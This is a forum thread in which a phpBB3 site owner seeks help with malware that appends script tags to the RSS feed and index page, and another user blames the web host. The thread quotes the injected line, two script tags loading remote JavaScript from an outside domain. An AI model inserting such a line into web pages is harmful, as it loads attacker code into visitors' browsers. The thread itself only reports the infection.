Malware in phpbb3 RSS feed? Removal Tips?

[collegesportsinfo]

Hi all!

Does anyone know how to remove or have seen this "http://sweepstakesandcontests" malware in their phpbb3 3.0.9 RSS feeds?

Background:

* I noticed my forum timing out after posting the past couple days. Not a big problem as it posts, it's just not convenient.

* But I got a message from a user saying they were getting a virus warning on the homepage (not the forum).

* So I reviewed the actual homepage of the site and i do have a section (it's Wordpress site) where I stream the "Recent Forum Posts" from the phpbb3 forum. There was an error message and the PHPBB3 was not displaying.

* When I try to validate the phpbb3 RSS feed, it gives me the error message

* When I review the RSS feed, it appears something is automatically being appended to the end of the PHPBB3 RSS feed:

http://collegesportsinfo.com/forum/feed ... ive_topics

You can feed url to see the code I mention (last line of feed):

Code: Select all

</feed><script src="http://sweepstakesandcontestsinfo.com/js.php?s=1"></script><script src="http://sweepstakesandcontestsinfo.com/js.php?s=1"></script>

[/b]


Does anyone know how to remove this from PHPBB?

I've had zero luck finding a solution. The only background info I found on the problem was at http://sucuri.net/new-malware-sweepstak ... w-com.html



If ANYONE has ANY tips for me, please let me know. Many thanks!

[Brf]

It is tacked onto the bottom of your index page too.

[collegesportsinfo]

It is tacked onto the bottom of your index page too.

Hmmm. Just aw that too thanks to your notification, thanks.

As I haven't added any mods to the PHPBB3, I'm not sure what is going on here.

It appears that the code is appearing everywhere on the PHPbb3 forums like the homepage as well as the feed.

Yet when I look in the overall_footer template, it is not there to remove.

[Brf]

Your host is probably tacking it onto the bottom of any PHP files.
Complain to them.